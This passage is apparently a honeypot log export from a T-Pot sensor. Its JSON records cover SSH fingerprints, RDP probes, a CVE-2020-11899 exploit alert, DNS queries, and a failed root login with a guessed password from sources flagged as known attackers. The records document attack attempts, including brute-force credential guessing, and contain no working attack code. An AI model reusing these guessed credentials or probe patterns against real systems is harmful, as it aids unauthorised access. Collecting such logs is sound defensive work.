"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32550	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:52:02.000593+03	2021-09-20 15:00:03.626716+03	{"_id": "4AYMA3wBvYTbRNuEhEpg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:51:01.058659+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 639425967416611, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 52869, "timestamp": "2021-09-20T11:52:02.000593Z", "@timestamp": "2021-09-20T11:52:02.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
32551	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:52:03.660776+03	2021-09-20 15:00:03.627716+03	{"_id": "5AYMA3wBvYTbRNuEhUpp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "223.241.247.214", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 45878, "timestamp": "2021-09-20T11:52:03.660776", "@timestamp": "2021-09-20T11:52:03.660Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32552	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:52:09.579212+03	2021-09-20 15:00:03.628716+03	{"_id": "9AYMA3wBvYTbRNuEm0rS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 42579, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1702037388121740, "@version": "1", "in_iface": "enp5s0", "src_port": 36294, "dest_port": 53, "timestamp": "2021-09-20T11:52:09.579212Z", "@timestamp": "2021-09-20T11:52:09.579Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
32553	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:52:14.213819+03	2021-09-20 15:00:03.629717+03	{"_id": "DQYMA3wBvYTbRNuEq0t2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:52:13.527706+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 355477094206810, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 64323, "dest_port": 3389, "timestamp": "2021-09-20T11:52:14.213819Z", "@timestamp": "2021-09-20T11:52:14.213Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
32554	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:52:14.213819+03	2021-09-20 15:00:03.630716+03	{"_id": "DwYMA3wBvYTbRNuEq0t2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:52:13.527706+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 355477094206810, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 64323, "dest_port": 3389, "timestamp": "2021-09-20T11:52:14.213819Z", "@timestamp": "2021-09-20T11:52:14.213Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
32555	223.241.247.214	109.199.241.180	Fatt	2021-09-20 14:52:03.934009+03	2021-09-20 15:00:03.631716+03	{"_id": "4wYMA3wBvYTbRNuEhUpp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "223.241.247.214", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 45878, "dest_port": 22, "timestamp": "2021-09-20T11:52:03.934009", "@timestamp": "2021-09-20T11:52:03.934Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32556	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:52:04.680237+03	2021-09-20 15:00:03.633717+03	{"_id": "5QYMA3wBvYTbRNuEhkrZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "25d53d11f0d4", "@version": "1", "duration": 2.3253681659698486, "timestamp": "2021-09-20T11:52:04.680237Z", "@timestamp": "2021-09-20T11:52:04.680Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32557	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:52:05.130632+03	2021-09-20 15:00:03.634716+03	{"_id": "5wYMA3wBvYTbRNuEikrB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.login.failed", "message": "login attempt [root/fuckthis] failed", "session": "3c1b94f07f7e", "@version": "1", "password": "fuckthis", "username": "root", "timestamp": "2021-09-20T11:52:05.130632Z", "@timestamp": "2021-09-20T11:52:05.130Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32558	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:52:06.40949+03	2021-09-20 15:00:03.636716+03	{"_id": "6AYMA3wBvYTbRNuEjkqq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "3c1b94f07f7e", "@version": "1", "duration": 2.751063346862793, "timestamp": "2021-09-20T11:52:06.409490Z", "@timestamp": "2021-09-20T11:52:06.409Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32559	fe80:0000:0000:0000:7e01:82f4:3ece:6267	109.199.241.180	Suricata	2021-09-20 14:52:25.511394+03	2021-09-20 15:00:03.637716+03	{"_id": "FwYMA3wBvYTbRNuE2ktb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:52:25.511394+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 70}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:7e01:82f4:3ece:6267", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0002", "flow_id": 1907538689379746, "payload": "AAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 133, "timestamp": "2021-09-20T11:52:25.511394Z", "@timestamp": "2021-09-20T11:52:25.511Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...."}}	1	\N	\N	alert	\N	\N
32560	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:52:13.853749+03	2021-09-20 15:00:03.638717+03	{"_id": "EQYMA3wBvYTbRNuErEt-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 64323, "dest_port": 3389, "timestamp": "2021-09-20T11:52:13.853749", "@timestamp": "2021-09-20T11:52:13.853Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
32562	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:52:31.882266+03	2021-09-20 15:00:03.641716+03	{"_id": "IQYMA3wBvYTbRNuE8Etd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "68d41a4e5f92", "@version": "1", "timestamp": "2021-09-20T11:52:31.882266Z", "@timestamp": "2021-09-20T11:52:31.882Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32563	120.36.157.98	109.199.241.180	Suricata	2021-09-20 14:52:31.88133+03	2021-09-20 15:00:03.642718+03	{"_id": "IgYMA3wBvYTbRNuE8UvN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "120.36.157.98", "dest_ip": "192.168.20.116", "flow_id": 2136228518406798, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 4928, "dest_port": 22, "timestamp": "2021-09-20T11:52:31.881330Z", "@timestamp": "2021-09-20T11:52:31.881Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32564	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:52:31.596475+03	2021-09-20 15:00:03.644717+03	{"_id": "IwYMA3wBvYTbRNuE8kvW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "120.36.157.98", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 4928, "timestamp": "2021-09-20T11:52:31.596475", "@timestamp": "2021-09-20T11:52:31.596Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32565	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:52:44.426139+03	2021-09-20 15:00:03.645717+03	{"_id": "NQYNA3wBvYTbRNuEJEua", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 55363, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1651788420513947, "@version": "1", "in_iface": "enp5s0", "src_port": 57579, "dest_port": 53, "timestamp": "2021-09-20T11:52:44.426139Z", "@timestamp": "2021-09-20T11:52:44.426Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
32566	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:52:44.733269+03	2021-09-20 15:00:03.646717+03	{"_id": "OAYNA3wBvYTbRNuEJEub", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 22645, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 3110, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 11860385213550, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 49925, "timestamp": "2021-09-20T11:52:44.733269Z", "@timestamp": "2021-09-20T11:52:44.733Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
32567	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:52:44.483592+03	2021-09-20 15:00:03.647717+03	{"_id": "OgYNA3wBvYTbRNuEJUuj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35780, "dest_port": 443, "timestamp": "2021-09-20T11:52:44.483592", "@timestamp": "2021-09-20T11:52:44.483Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
